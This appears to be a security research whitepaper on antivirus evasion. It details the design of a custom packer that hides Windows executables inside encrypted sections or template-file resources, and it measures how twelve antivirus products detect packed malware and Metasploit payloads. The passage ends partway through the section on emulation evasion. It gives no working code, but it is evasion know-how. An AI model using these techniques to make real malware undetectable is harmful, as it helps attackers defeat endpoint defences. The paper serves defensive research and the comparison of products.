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Abstract 

Lately, many popular Antivirus solutions claim to be the most effective against unknown 

and obfuscated malware. Most of these solutions are rather vague about how they 

supposedly achieve this goal, making it hard for end-users to evaluate and compare the 

effectiveness of the different products on the market. This whitepaper presents 

empirically discovered results on the various implementations of these methods per 

solution, which reveal that some Antivirus solutions have more mature methods to detect 

x86 malware than others, but all of them are lagging behind when it comes to x64 

malware. In general, at most three stages were identified in the detection process: Static 

detection, Code Emulation detection (before execution) and Runtime detection (during 

execution). New generic evasion techniques are presented for each of these stages. 

These techniques were implemented by an advanced, dedicated packer, which is an 

approach commonly taken by malware developers to evade detection of their malicious 

toolset. Two brand new packing methods were developed for this cause. By combining 

several evasion techniques, real-world malicious executables with a high detection rate 

were rendered completely undetected to the prying eyes of Antivirus products.  

Keywords: antivirus, packer, emulation, signature, heuristics, evasion 

1. Introduction 

Antivirus solutions are regularly compared with each other by various independent studies. Most 

of the published comparison tests so far are a combination of detection rate of known malware 

samples (1,3,4,5), false positives percentage (3,4,5), definitions update frequency (1,3), market 

share (2), usability (5), performance (3,5) and price (1,5), or minor variations of these. Not 

surprisingly, the results of these tests differ greatly, since they are based on unrelated criteria. 

All of the aforementioned are relevant as comparison metrics to some extent, but they do not 

fully cover the whole functionality spectrum of Antivirus products. More specifically, a lot of 

newer detection techniques generally referred to as heuristics are left uncovered in these tests, 

whilst they are becoming increasingly more important to protect end-users from current and 

evolving cyber threats.  
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In general, at most three stages were identified in the detection process of Antivirus solutions, 

two of which are performed before actually executing the sample and one that is being 

performed during execution. The very first phase is static detection, a well-known method 

already in use by all popular solutions for a long time. This includes the detection of packers. 

The second phase involves running the executable in an emulated environment and monitoring 

its results. This is different from the approach that Sandbox solutions such as the open-source 

Cuckoo Sandbox takes to analyze and detect malware, as they really use instrumentation, 

rather than emulation. Last but not least, some Antivirus solutions were found to implement 

dynamic techniques to identify suspicious behavior while the malware is executing on the 

system.  

In order to identify the product-specific detection techniques, an onion layer evasion approach 

was taken: first, static detection evasion was circumvented by implementing our own undetected 

dedicated packer, which uses two brand new techniques to evade common packer Antivirus 

detection. Its design is presented in Section 2. The packer’s special design allowed detection, 

comparison and circumvention of the different detection techniques of Antivirus products. These 

results are presented in Section 3. Section 4 concludes this paper. 

The following Antivirus products were subject to the presented research: 

● McAfee Antivirus Plus 2014 

● Norton Antivirus 

● Microsoft Security Essentials 

● Kaspersky Antivirus 2014 

● F-Secure Antivirus 2014 

● Sophos Endpoint Security 10.3 

● AVG Antivirus 2014 

● Avast! Pro Antivirus 2014 

● ESET NOD32 Antivirus 7 

● Qihoo 360 Internet Security 

● BitDefender Antivirus Plus 

● Trend Micro Titanium Antivirus+ 

2. Packer design 

A packer is a tool that can transform an executable into another executable which exhibits the 

same or extended functionality but has a different footprint on the file system where it resides. 

Currently, public real-world packers have been developed for mainly two reasons. First of all, to 

reduce the size of the executable by compressing data and uncompressing it on the fly during 

execution. These packers are also often referred to as compressors, and were very popular in 

the early days of personal computers, when the size of executable was far more important. 

Some famous examples are UPX, FSG, PECompact, MEW, MPRESS, UPack and FastPack. 

Second of all, some packers were developed to make reverse engineering executables 

significantly more difficult. These packers are also often referred to as protectors, as they 

attempt to protect the original executable from prying eyes. They use obscure methods to 

prevent straightforward analysis of the executable, often by dynamically detecting common 

analysis tools such as debuggers in various ways. These protectors are still quite popular to 

protect especially the licensing scheme implementation of commercial tools and games which 

are known to be targeted by crackers for their popularity. Some famous examples are PELock, 

PESpin, SoftwarePassport (Armadillo), Thermida and VMProtect.  
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The fact that packers change the footprint on disk and thus often mitigate static Antivirus 

detection techniques based on signatures as a side-effect, has already been discovered and 

exploited for a long time by malware writers to render their malicious tools undetected (6,7,8). 

The packer presented in this paper was built with purely this goal in mind: evasion of Antivirus 

detection methods. However, the packer also supports evading other Antivirus detection 

methods next to static (signature) detection, which will be discussed in more details in Section 3 

of this whitepaper. The packer only supports packing of windows executables, as most malware 

is written to be deployed on this operating system. It can transform both x86 and x64 windows 

executables, which is a not so common feature in the public packer-world. 

All packers have at least one thing in common: they need to introduce some code in the original 

executable, in order to undo the changes they performed while changing the original file’s 

footprint on the file system (decompressing, decoding …). The introduced code is commonly 

referred to as the packer’s stub. Usually, this stub is executed at the very beginning during 

execution time of the packed entity, which requires hijacking the execution flow of the original 

file. In order to understand how packers can alter original files, introduce their stub and hijack 

execution flow, one must understand Windows’ executables internals: the Portable Executable 

or PE (x86) and PE+ (x64) file formats (9). The PE file format is described in the first subsection 

below. Hereafter, the stub of the developed packer is presented. Finally, the different methods 

that were developed to covertly inject the stub into the packed executables are discussed. 

Throughout this section, the compiled version of the following simple HelloWorld C++ file will be 

used to give some practical examples: 

#include <Windows.h> 

 

int WINAPI WinMain(__in  HINSTANCE hInstance,__in  HINSTANCE 

hPrevInstance,__in  LPSTR lpCmdLine,__in  int nCmdShow) 

{ 

    MessageBox(0, "Hello", "World", 0); 

} 

src1: MessageBox HelloWorld Source Code 

Visual Studio 2012 with static linking option enabled was used to compile the final x86 and x64 

HelloWorld Release configuration executables.  

2.1. PE(+) overview 

Windows requires that executables have a specific file format, in order to be eligible for loading 

and execution by the Windows operating system. This file format describes the prerequisites 

required by the windows PE Loader in order to load the executable into memory as a process 

and successfully start execution of it. To understand how packers go about encrypting data, 

adding arbitrary code and hijacking execution flow, one must understand this file format first. 

Since Antivirus solutions also know that packers are often used to evade detection, they 

proactively attempt to detect deviations from the PE file format, which are often caused by 

imprudent packers. The PE file format exhibits the following high-level structure: 
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fig1: PE file high-level structure - source Corkami (10) 

Two high-level parts can be dissected: the executable’s header and the executable’s sections. 

The header contains metadata about the executable and describes the different sections. 

Sections are basically ordinary collections of bytes placed in a certain order by the compiler. 

The bulk of the file is made up out of the raw section data, so packers usually compress and/or 

encrypt mainly parts of this data, but in order to do this, the header must be fully understood, as 

it enforces a number of restrictions on what can easily be modified, and what can’t. Next 

sections will focus on PE in the overview below, since PE+ only differs on a few fields from the 

x86 PE format but doesn’t influence the general findings. It is left as an exercise for the reader. 

2.1.1 Executable Header 

The executable’s header consists of several subsections, as shown in the figure below: 
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fig2: PE header high-level structure - source Corkami (10) 

2.1.1.1. DOS Header 

The DOS header is a remaining from the old DOS MZ EXE format and is maintained for 

backwards compatibility. The first two bytes of the DOS header correspond to the ‘e_magic’ field 

which must be equal to “MZ”. 

After the DOS header lays the DOS stub which contains the code that will be executed when 

the executable is ran in a DOS environment. For PE files, the default DOS stub added by 

modern compilers prints “This program cannot be run in DOS mode”, modern windows OS 

versions will by default ignore this stub and only verify the preamble “MZ” and the offset to the 

PE header, Antivirus solutions were found to flag executables which did not have this DOS stub 

as it deviates from normal compiler behavior. Other tools like PE Studio mark this as suspicious 

(note the 8/50 detection rate on VirusTotal):  

 
fig3: PeStudio anomaly indicators 
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2.1.1.2. PE Header 

The PE header, often referred to as NT Header as well, also starts with a static signature value 

equal to “PE”. It is also explicitly verified by the windows PE loader before loading the 

executable in memory. Hereafter two subsections follow: “File Header” and “Optional Header”, 

the former contains the following field: 

 
fig4: File Header attributes - CFF Explorer 

The only fields of this structure that were found to have an influence on Antivirus detection rates 

were the TimeDateStamp, the PointerToSymbolTable and NumberOfSymbols fields. If 

TimeDateStamp contains an unrealistic timestamp value (e.g. in the future), or 

PointerToSymbolTable or NumberOfSymbols doesn’t contain zero as prescribed in the PE 

specification (9), some Antivirus flag the executable as suspicious.  

2.1.1.3. Optional Header 

The second subsection of the NT Header is the Optional Header. This is a big structure which 

contains a lot of redundant or aggregated information from the section table (equal to section 

headers), the last subsection of the executable’s header (discussed further below).  
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fig5: Optional Header attributes - CFF Explorer 

The SizeOfCode, SizeOfInitializedDate, SizeOfUnitiliaizedData, BaseOfCode and BaseOfData 

are directly related to information found in the section table at the very end of the executable’s 

header metadata. If there is any inconsistency between these two sources, several Antivirus 

solutions raise flags. One of the most important field in this structure is AddressOfEntryPoint. It 

contains the offset to the entry point of the executable, where the PE loader will start execution 

of the process. It is often modified in order to hijack execution, which also opens up a detection 

vector. This is discussed more in depth later in this section. 
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2.1.1.4. Data Directories 

The Optional Header also has one subsection, the Data Directories. This is actually a table of 

offsets to actual data in the executable’s section region, similar to the AddressOfEntryPoint. 

These parameters point to specific data structures related to the designated directory. The 

Optional Header of the x86 HelloWorld example holds the following values: 

 
fig6: Data Directory Header attributes - CFF Explorer 

Six out of 16 directories have been filled in. It is very important to note that some of these 

offsets are utilized by the windows PE loader before executing the actual process, and must 

point to valid, unencrypted directory-specific structures on disk. Other offsets may only be used 

during execution time by certain windows APIs to locate data in memory, which implies that the 



9 
 

packer must make sure the pointers are valid only when launching the original executable in 

memory; for example, certain APIs that load resources from an executable such as 

FindResource (11) and LoadString (12) will consume the Resource Directory Relative Virtual 

Address (RVA) offset in the PE Data Directory header in order to reach and navigate the 

structure where pointers to all resources of the executable are maintained. Additionally, some of 

these directories are only present to give some extra information, such as the Debug Directory, 

and can be removed without causing any harm. The whole executable’s header is loaded into 

memory, along with the section data, so the program can access these offsets during execution 

time as well.  

The most important entries in this table for packers are the import directory and Import Address 

Table (IAT), which are closely related. The import directory references a structure that lists the 

functions of external DLLs on which the executable relies (e.g. Kernel32.DLL, USER32.DLL and 

NTDLL.DLL for common Windows APIs). It’s the task of the Windows PE loader to enumerate 

all these libraries, load them in the process its address space, and locate the address of the 

necessary functions before starting the process. The program expects the addresses of these 

functions to be present in the IAT in memory when starting execution, so this is where the PE 

loader must hotpatch them. In the case of the Import Directory and the IAT, we must keep in 

mind that the PE Loader will read them before executing the process and hence, the data they 

must contain valid, unencrypted structures, or else the process won’t load. The simple 

HelloWorld program has one specific import, namely the ‘MessageBox’ function in 

USER32.DLL: 

 
fig7: Imported API - CFF Explorer 

2.1.1.5. Section table 

Last but not least, there is a section table in the executable’s header which describes the body 

of the executable. Here is the section table of the x86 HelloWorld program: 
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fig8: Section table - CFF Explorer 

This sample executable has five distinct sections, each with a unique name and a bunch of 

attributes. The division of the data into sections is based on the functionality of its contents; the 

“.text” section contains the code of the program that will be executed; the “.rdata” section 

contains technical metadata generated by the compiler, mostly Data Directory-specific 

structures such as Debugging information, Load Configuration, Import Table and Import 

Address Table; the “.data” section contains static data from source code, such as hard-coded 

strings; the “.rsrc” section contains additional resources of the executable, such as bitmap icons 

and version information; finally, there is a “.reloc” section specific for the Data Directory-specific 

Relocation Table structure, necessary by the windows PE loader to relocate executables in 

memory (ASLR). The names of these sections are decided upon by the compiler who created 

the executable. Some compilers use slightly other naming conventions (.text with .code, .rdata 

with .idata), but overall, the combinations are very limited, which is already one property of the 

section table which some Antivirus products watch closely.  

Additionally, each section has a set of characteristics specific for its purpose. Characteristics 

encompass permissions (executable, readable, writeable), as well as information about the 

contents of the section (code, initialized, uninitialized data). This is the duplicated information in 

the Optional Header which we referred to earlier. The characteristics are well-defined for 

executables compiled with modern compilers. Normally the first section contains code and is 

executable and readable, but not writeable. Other assumptions about permissions can be made 

roughly for all other sections, so when Antiviruses identify a PE file where all sections are 

readable, writeable and executable, some raise suspicion: 
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fig9: Detection ratio of HelloWorld with bad section attributes 

Each section also has a Virtual Address, Virtual Size, Raw Address and Raw Size. The raw 

address and size are the easiest to comprehend; these are just the offsets and size of the 

section in the executable on disk. Each section starts at the previous section’s [address + size], 

so they follow each other chronologically, they are aligned by the compiler according to the 

FileAlignment field of the Optional Header, so most of them contain some padding on disk. 

However, when the executable is loaded by the Windows PE loader, they will get loaded in 

Virtual Memory space. Virtual memory sections are aligned according to the Section Alignment 

field of the Optional Header, which usually differs from the FileAlignment field. This may cause 

loading of data at more distant location in memory than they are on disk, as shown by the 

picture below: 

 
fig10: Memory layout of PE file - source MSDN (13) 
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Very important to note is that the code section contains references to other sections in Virtual 

Memory. For example, wherever in source code a static string was compared with a dynamic 

value, it will be fetched from the “.data” section by the code in the “.text” section to perform the 

comparison at execution time. This has a serious implication: sections that contain links from 

and to each other must remain at the offsets from each other in memory, otherwise functionality 

will definitely be broken at some point. This limitation cannot be mitigated easily, since these 

offsets were calculated at compilation time by the compiler and are not trivial to alter without 

interpreting the executable’s assembly code. Except the link between the “.text” and “.data” 

section, there is also the assumption from the “.text” section that windows API function 

addresses are available at a specific location in the section containing the Import Address 

Table. So in short, the .text, .data and section where the Import Address Table resides in 

(usually “.rdata” or “.idata”) must be moved as a whole when packing, in order not to break the 

executable. They can thus not be easily extended individually.  

2.2. Stub design 

When a packer wants to introduce new code into an existing binary, there are two significant 

requirements: the code must be self-contained and position independent. The former 

requirement exists because the stub cannot depend on the windows PE loader to resolve 

addresses of some windows API functions it wants to use, like normal executables do. The 

latter requirement is applicable because the stub must support injection in arbitrary executables, 

and thus may not depend on base address values of the processes they are running in.  

These limitations coincide with the requirements of ordinary shellcode. Many packers have 

taken the same approach which shellcode takes to tackle these requirements: write a self-

contained stub in dedicated assembly code that dynamically locates addresses of necessary 

windows API functions in memory. This works, but also makes extending the stub not a trivial 

task, since writing position-independent assembly code requires some skills, dedication and 

more importantly, lots of time. Finally, it also introduces the need for one stub per architecture, 

as x86 assembly differs greatly from x64 assembly, without even mentioning ARM. 

The new packer presented in this whitepaper currently supports both x86 and x64. ARM 

architecture is also theoretically supported except for a few specific bypass methods explained 

further below, however no test were performed on this architecture. The packer uses a modified 

version of the Reflective DLL Injection project (14) as a stub. The Reflective DLL was first 

published by Stephen Fewer in 2011 and according to its author, “Reflective DLL injection is a 

library injection technique in which the concept of reflective programming is employed to 

perform the loading of a library from memory into a host process. As such the library is 

responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It 

can then govern, with minimal interaction with the host system and process, how it will load and 

interact with the host. Injection works from Windows NT4 up to and including Windows 8, 

running on x86, x64 and ARM where applicable. “. 

Basically, the dedicated packer presented in this paper leverages the Reflective DLL Library 

project to implement a stub in C++ with full windows API support, which gets loaded dynamically 
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by the existing loader code of the project. The stub is injected in a static region of the new 

executable while hijacking the execution flow of the executable by altering the entry point 

address. As the Reflective DLL’s loader code takes care of resolving API imports and 

performing relocation correction, writing a packer stub in C++ becomes transparent. The 

mechanism also allows hotpatching the stub with packer options such as the original entry point 

(OEP), choice of encryption algorithm and accompanying keys at packing time. The following 

steps depict the whole packing process: 

1. Compile reflective DLL stub project to two DLLs for x86 and x64 architecture: 

 
fig11: Step1 - stub generation as a DLL 

2. Pack the original executable by hotpaching a configuration in and injecting the 

appropriate stub, and then changing the entry point of the packed executable to the 

stub’s reflective loader address: 
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fig12: step 2 – Stub injection and configuration hotpatching 

3. Upon execution, the Reflective Loader relocates itself completely to the heap, resolves 

its own imports and jumps to the custom function which implements the real packer’s 

stub functionality in the newly allocated memory: 

 
fig13: step 3 - stub execution 

4. The stub in the heap restores original executable in memory based on hotpatched 

configuration, and then hands over execution: 
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fig14: step 4 - restore of original executable  

The use of reflective DLL introduces an abstraction layer for the packer’s stub code. It allows 

developing a small and extensible framework dedicated for Antivirus detection evasion in C++, 

without having to tackle issues like resolving API functions or position independency of the 

code. 

The only question that remained is where exactly the stub must be injected to hijack the 

execution flow of the original executable without raising suspicion. This is discussed in the next 

subsection. 

2.3. Stub injection 

From the overview of the PE file format given in the beginning of this section, we already know 

that the stub must be added to the section data of the executable being packed, and be 

accounted for somewhere in the executable’s header. However, doing this in a generic way is 

not trivial, as there are some significant limitations on what can be done to an executable 

without triggering Antivirus detection, as discussed in section 2.1. Evading some of these 

limitations is a matter of implementing a good packing engine that updates all fields of the 

executable’s header according to the changes that have been introduced; others are influenced 

by the method used to inject the stub and encrypt the original data, and are more difficult to 

tackle in a generic approach.  

With regard to encryption of original sections, there are two main limitations: First of all, some 

Data Directory table entries such as the Import Table, the Resource table and the Relocation 

table must point to valid structures in dedicated sections on disk (“.rdata”, “.rsrc” and “.reloc” in 

the case of the HelloWorld executable). This means these must remain unencrypted, or be 

forged to legitimate-looking but unused sections. Second of all, existing “.text”, “.data” and 

“.rdata” tables cannot be relocated individually but must be seen as a logical building block 

which can only be relocated as a whole, since the code in the “.text” section contains relative 

offset references to the other two aforementioned sections. This also implies that the Virtual 

Size of these sections cannot be extended, as this would have an influence on the addresses 
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calculated based on the aforementioned offsets. Since the difference between the Virtual Size 

of a section and its Raw Size on disk usually is negligible, the stub cannot be injected in a 

generic fashion in or in between any of these sections by using existing code caves or 

extending them. 

The packer tackled these limitations by implementing three distinct methods which encompass 

a combination of an encryption tactic and stub injection location. They are increasingly complex 

and complete in terms of data coverage of the original file. A practical comparison on both the 

ability to evade static Antivirus packer and packed malware detection is given in the next 

section, where static Antivirus detection evasion is summarized. 

2.3.1. Inline Packer method 

The inline packer method uses the most convenient approach to both encrypt data and inject 

the stub from a packer’s point of view, it directly encrypts sections which are not referenced by 

any Data Directory Table entry on-the-fly or ‘in line’, which in practice means the “.text” and 

“.data” section only. Additionally, it adds a new section to the existing executable wherein the 

stub is placed, and alters the AddressOfEntryPoint field to point at the reflective DLL loader 

function of the stub.  

The stub’s actual implementation will in its turn decrypt the sections before jumping to the 

Original Entry Point of the executable. This or a very similar approach to stub injection is taken 

by most of the aforementioned compressors and protectors, they alter the section table either by 

adding new sections or removing existing section altogether and creating larger ones which 

encompass the originals. An overview of the approach taken by the inline packer method is 

given by the figure below: 

 
fig15: Inline Packer overview 
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When applied on the x86 Helloworld example, the following packed executable’s section table is 

the result (.text and .data are encrypted, .stub is new): 

 
fig16: Inline Packer section table - CFF Explorer 

The main upside of this approach is that it is relatively easy to implement, adding a section and 

changing the entry point of a PE file is a straightforward modification. One main downside is the 

fact that a new section is added at the very end of the file and the entry point of the executable 

is changed to point into this data, which can be considered as a deviation from a normal 

situation and thus be susceptible to packer detection. A second downside is that only the text 

and data sections are encrypted. If Antivirus signatures were based on other sections, detection 

will not be bypassed by using this approach. 

2.3.2. New PE Packer method 

In order to enhance both the stealth and the effectiveness of the Inline Packer, two related 

actions must be taken: first of all, the entry point must keep pointing to the first section of the 

executable, which is the code section with appropriate and expected ‘executable’ 

characteristics. This requires a more advanced method of stub injection. Second of all, more 

sections of the original executable must be encrypted, partly or completely, in order to ensure 

Antivirus signatures that are aimed at any of these sections are rendered ineffective. This is 

achieved by the ‘New PE Packer’ method.  

Both requirements are tackled by this new method, which was not yet identified in public 

packers. The approach is heavily based on proper understanding of how sections on disk 

(section table) are loaded into memory by the windows PE loader, which was discussed in 

depth in section 2.2.4. In order not to break the original executable, its section data must end up 

at the expected locations in memory when the unpacked executable starts execution. In order to 

guarantee this, the New PE Packer calculates the place in memory of the original data on disk, 

and saves this data encrypted at the place on disk in the new executable it will create. The stub 
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will be placed right after this encrypted data, and this collection of data will be the new first .text 

section of the packed executable. The following picture summarizes the approach: 

 
fig17: New PE Packer overview 

When applied on the x86 HelloWorld example, the following packed executable section table is 

the result; note the very large “.text” section size, which actually contains the whole encrypted 

original HelloWorld binary, as well as the reflective DLL stub concatenated to it: 
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fig18: New PE Packer section table - CFF Explorer 

This approach has a couple of consequences. First of all, in order to not look suspicious, some 

fake but legitimate-looking sections should be added after this .text section, which are normally 

present in every legitimate PE file (.data, .rsrc, .rdata, …). This data is taken from a template file 

that is also expected by the packing engine as an input when the New PE packing method is 

chosen. Second, the fact that all sections of the original file are stored encrypted in the “.text” 

section of the new PE file implies that the stub will have to take over some work which is 

normally executed by the windows PE loader. This includes relocating the original executable, if 

necessary, and more important, resolving its API imports dynamically. This is a method used 

regularly by other packers, some of which were mentioned before. The stub of the New Pe 

method will, in chronological order: 

1. Decrypt the sections above him, which make up for the whole original executable 

2. Relocate them, if necessary 

3. Resolve its imports 

4. Jump to its Original Entry Point 

The main advantage of this method in comparison with the aforementioned Inline method is that 

the injected stub is now located in the “.text” section of the new executable and all original 

sections of the malware are stored encrypted in the new PE file, if present.  

However, there is still one minor disadvantage to this injection method: the new “.text” code 

consists of a lot of encrypted data and the stub, which may trigger programs that look for 

anomalies in these regions, such as Immunity debugger: 
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fig19: identification of encrypted code by Immunity debugger 

2.3.3. Resource Packer Method 

In order to compensate the last shortcomings of the New PE packer method, a third and final 

approach was developed. This new method also requires a legitimate ‘template file’ as extra 

input for the packing engine. The original malware will be encrypted and added to this template 

file as a resource. Hereafter, the template file’s code section will be partly overwritten with the 

stub’s code, which will take care of dynamically decrypting and loading the original executable in 

memory.  

Before performing import resolving and relocation of the original executable, the stub will 

perform all tasks the windows PE loader normally performs for a new executable. This includes 

copying the PE header and sections to the correct virtual memory offsets, hereby overwriting 

the template executable’s regions and setting the appropriate permissions based on the 

sections’ characteristics. The following picture summarizes the approach: 
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fig20: Resource Packer overview 

When using mstsc.exe as a template file, packing the Helloworld x86 binary gives the following 

difference in section tables (note the difference in size of the .rsrc section only): 

   
fig21: comparison of section table of template packer files - CFF Explorer 

There are several advantages of this method. First of all, encrypted code from the original 

executable is saved in the resource section instead of in memory sections with guessable 

entropy values, such as code and data. The resource section of legitimate files, on the other 
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hand, often contains data whose entropy can’t be predicted, and thus Antivirus products can’t 

make assumptions on the data in these sections. Since adding an extra resource to a PE file 

and hereby extending the resource section of this file is by default supported on Windows 

operating systems, this implies the packing method is very generic by nature. 

Since only the stub is written in the code section of the template executable, this will not pollute 

the entropy values of this “.text” section and this significant detection vector for Antivirus 

products is completely eliminated. Additionally, the complete original executable is stored 

encrypted in the resulting packed file, which assures no signatures of this file can be found 

during static scans. Only one additional modification is made, which is the injection of the stub 

to the .text section of the template file. This implies that the template file will barely be tampered 

with, hereby reducing the chance of triggering any PE file format (packer) modification 

detection.  

The only remaining disadvantage is that a lot of tasks of the windows PE loader need to be 

performed dynamically by the stub, which increases its complexity and size of the stub. This 

activity, which encompasses overwriting memory pages and modifying memory permissions 

dynamically, could also be used as a detection vector by Antivirus solutions. This presumption 

was verified empirically and the results are presented in the following section.  

2.3.3. Packer comparison 

In order to compare the three different packer methods presented above with existing packers, 

screenshots of the x86 HelloWorld executable packed with various popular and less popular, 

publicly available (demo versions of) packers are given here. 

 

 

32-bit: 

 

 
fig22: section table of unpacked HelloWorld x86 executable 
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 fig23: section table of HelloWorld x86 executable packed with FastPack 2.8 

 

 
fig24: section table of HelloWorld x86 executable packed with FSG 2.0 

 

 
fig25: section table of HelloWorld x86 executable packed with MEW 11 SE 1.2 

 

 
fig26: section table of HelloWorld x86 executable packed with MPRESS 2.19 

 

 
fig27: section table of HelloWorld x86 executable packed with PECompact 3.00.2 
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fig28: section table of HelloWorld x86 executable packed with UPACK 3.999 

 

 
fig29: section table of HelloWorld x86 executable packed with UPX 3.91 

 

 
Fig30: section table of HelloWorld x86 executable packed with Molebox 4.5462 

 

 
Fig31: section table of HelloWorld x86 executable packed with PELock 1.0694 
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Fig31: section table of HelloWorld x86 executable packed with PESpin 1.33 

 

 
Fig32: section table of HelloWorld x86 executable packed with SoftwarePassport 9.64 (Armadillo) 

 

 
Fig33: section table of HelloWorld x86 executable packed with Thermida Demo 2.2.7 
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Fig34: section table of HelloWorld x86 executable packed with VMProtect Ultimate 2.13.2 

 

3. Antivirus Evasion 

This chapter presents different evasion techniques to bypass Static-based detection, Emulation-

based detection and Runtime-based detection mechanisms. For each measure the paper 

details its inner-workings. Despite the differences that could occur between Antivirus vendors,  

the paper presents in detail the different evasion techniques in use and documents their 

efficiency by showcasing the results of the different tests on the considered Antivirus products. 

For empirical testing purposes, trial versions of Antivirus products mentioned in the introduction 

with an updated July 2014 signature were used as a base. Each product was run on a separate 

virtual machine instance without any internet connectivity, except for the initial signature-base 

update. Internet access was prohibited to avoid leakage of the test samples, which might trigger 

the creation of a new signature, and also to limit the evaluation of implemented 

countermeasures to the one within the Antivirus product only. Testing was performed only after 

enabling the most advanced protection strategies in the available GUI interface of the Antivirus. 

3.1. Static-based Detection Evasion 

Signature-based is the traditional mechanism used by Antivirus product to detect malware and 

malicious tools. The principle is quite simple and has seen little evolution except for the 

introduction of fuzzy hashing (16, 17). The mechanism creates a signature by hashing specific 

portions of the executable, like the code section or an entry in the resource section, and then 

compares it with the Antivirus database.  

This mechanism is efficient as long the there is an existing signature in the Antivirus database. 

Bypassing this detection mechanism relies on changing the executable’s byte patterns in order 

to have a completely different signature. Other checks include verifying the PE file structure in 

order to detect unusual manipulation of the file. More details about these checks are mentioned 

in Section 2. 

To evaluate the effectiveness of static-based detection evasion, an empirical approach by using 
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the developed packer described in the previous section was taken. First, samples were 

gathered; a collection of 100 malware samples (x86 only) with a high detection rate was taken 

from the VirusSign FreeList of July 2014 (15). Five common 64-bit hacktool binaries of which 

the respective x86 versions were detected were taken as an x64 malware feed source: 

 Mimikatz (blog.gentilkiwi.com/mimikatz) 

 Windows Credentials Editor (www.ampliasecurity.com/research/wcefaq.html) 

 Metasploit’s default meterpreter bind shell port 4444 (www.metasploit.com) 

 Metasploit’s default Meterpreter reverse tcp shell port 4444 (www.metasploit.com) 

 Metasploit’s default Meterpreter reverse https shell port 4444 (www.metasploit.com) 

 

Then, all samples were packed with the inline, New PE and Resource packer methods in 

combination with XOR encryption. Each sample was packed twice with two different stubs: one 

that calls ExitProcess() as soon as it starts executing, and one that really restores the original 

packed malware executable in memory and hands over execution to it. This distinction was 

made to isolate the results to static detection only and thus rule out code emulation, which some 

Antivirus vendors are explicitly stating as a detection feature in place (18,19). 

Hereafter, the samples were scanned by an on-demand scan by each product in scope. The 

tests were performed in a semi-automated manner which allowed the results to be saved to a 

SQLite3 database. This database was queried afterwards to identify a couple of detection 

patterns, detailed in the sections below. Only ‘on demand’ scans were initiated, to prevent 

runtime detection techniques to come into play.    

3.1.1. Overall sample detection rate 

The overall detection rate merely gives an indication of the overall protection against the 

original, unattended samples per Antivirus product at the time of testing: 

 
fig22: Original sample detection 

http://www.metasploit.com/
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Bitdefender detected all 100 x86 samples, while F-Secure barely detected any of them. For x64, 

the situation is even worse. Only Kaspersky, Avast! and Norton detected 4 out of 6 malware 

samples. Of course the sample subset was not huge, but this is still an indication of how fast 

Antivirus companies are pushing new definitions out for each architecture, as the malware 

sample collection was not extremely new.  

3.1.2. Packer detection 

It is interesting to see the detection rate of the various packer methods in combination with XOR 

encryption, compared with the overall detection rate of the samples per Antivirus. This allows us 

to grasp the real ability to bypass static signature detection techniques of each packer method, 

and thus also the ability of Antivirus products to detect common and less common packers. To 

rule out positive detection results from code emulation practices (see next subsection), only 

packed samples with a stub that simply quits upon execution were considered here. Each 

packer method’s results are provided and discussed below. Numbers relative to the detection 

rate of the original samples were calculated, in order to support comparing the different Antivirus 

products in scope.  

 
fig23: Inline Packer method detection ratio 

As can be seen, there are big differences between Antivirus products with regard to detection of 

the inline packer method. Qihoo detected all 100 x86 samples that were packed with the Inline 

packer, although it originally only detected 89 of these samples (see above). This explains why 

its relative result in this graph is far above 100%, which clearly is pure packer detection and not 

related to the samples anymore. Additionally, we can see that on x86 only one antivirus solution 

was completely evaded (F-Secure), while on x64 all but two antivirus solutions were already 

completely evaded by this simple technique (Avast and Kaspersky).  

The other products only detected a subset of the previously identified samples, which indicates 

they are detecting artifacts from the original executable that remained in the packed executable 

and/or the PE modifications the inline packer makes (new section where entry point refers to, 

encrypted “.text” and “.data” sections). We can see that Norton, Avast, Trend Micro and 

BitDefender do this more proactively (> 75%) than others. 
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Theoretically, the New PE packer method would perform better as the Inline packer method 

(see section 2). This is also confirmed by the detection rates for this packer method: 

 
fig24: New PE Packer method detection ratio 

Again, the numbers are relative to the number of original samples detected by the Antivirus 

products, given in the previous subsection. As can be noted, the New PE detection rate is lower 

as the Inline detection rate for all Antivirus products, confirming the expectation that this packer 

method does a better job. With regard to the x64 architecture, all antivirus products have 

already been successfully bypassed by this technique. On x86 the story is different: three 

solutions still detect a small subset of the originally detected malware samples (Norton, Avg, 

Avast). 

 

Finally, the resource packing detection rate 0% for both x86, x64 and all antivirus solutions in 

scope. This result indicates that this method is generically applicable to bypass all existing static 

signature detection techniques deployed by current Antivirus products without any side effects. 
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3.1.3. Identification of Code Emulation 

Some Antivirus products claim to be performing effective code emulation detection, which 

means executing the sample in an emulated environment to detect malicious behavior before 

actually executing it on the real operating system (18,19). Control over the packer’s stub 

allowed to explicitly detect Antivirus solutions that are performing this code emulation, by 

packing each sample with the resource packer and two stub variations: one that does nothing 

but calling ExitProcess() which effectively breaks the original sample, and one that decrypts the 

original sample and executes it in memory, as expected. The graph below highlights the 

percentage of samples that were undetected when the first ‘non-executing’ stub was used, but 

detected when the second working stub was injected, divided per Antivirus: 

 
fig25: Use of Code Emulation 

From this graph, we can conclude a number of things with regard to implementations of code 

emulation in the various products in scope. Only four Antivirus products were able to perform 

successful code emulation detection on samples packed with the highly successful Resource 

packer: Microsoft, Kaspersky, NOD32 and AVG. This indicates that the code emulation engines 

of these products are capable of successfully emulating executables packed with the resource 

packer.  

In the aforementioned static detection rates, we could see that Microsoft, Kaspersky, AVG and 

NOD32 did not have the highest rates. This stresses the fact that these products are not relying 

heavily on static signature based detection anymore. They clearly have shifted their focus to 

code emulation techniques, which is a much stronger technique capable of also detecting 

packed executables, something which is very popular amongst malware developers to evade 

detection. In the next section, the code emulation engines of the four products that weren’t 

bypassed by the Resource packer, those of Microsoft, Kaspersky, AVG and NOD32 are 

investigated more.  
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3.2. Emulation-based Detection Evasion  

Emulation-based detection mechanism is an advanced feature used by some Antivirus products 

that allows detection of new and future threats, as well as bypassing of packer protection layers. 

The principle is executing the malware inside a controlled environment in order to trigger the 

unpacking of the executable in memory, detect the end of the unpacking process by either using 

automated unpacker or by monitoring the execution of writable memory sections. Once the 

unpacking process is detected, the collected data is re-run using Static-based analysis or fed to 

the heuristic engine. The whole code emulation process is performed before the executable is 

effectively allowed to start executing on the real system, for obvious reasons. 

Bypassing this Emulation-based Detection has gained popularity by malware developers who 

are using special checks to detect the execution of the malware inside a controlled environment, 

and if so, block the decryption process of the payload in memory. These checks rely on the 

difficulty to completely simulate a real environment. 

The emulator executes processes in an artificial environment that emulates a real operating 

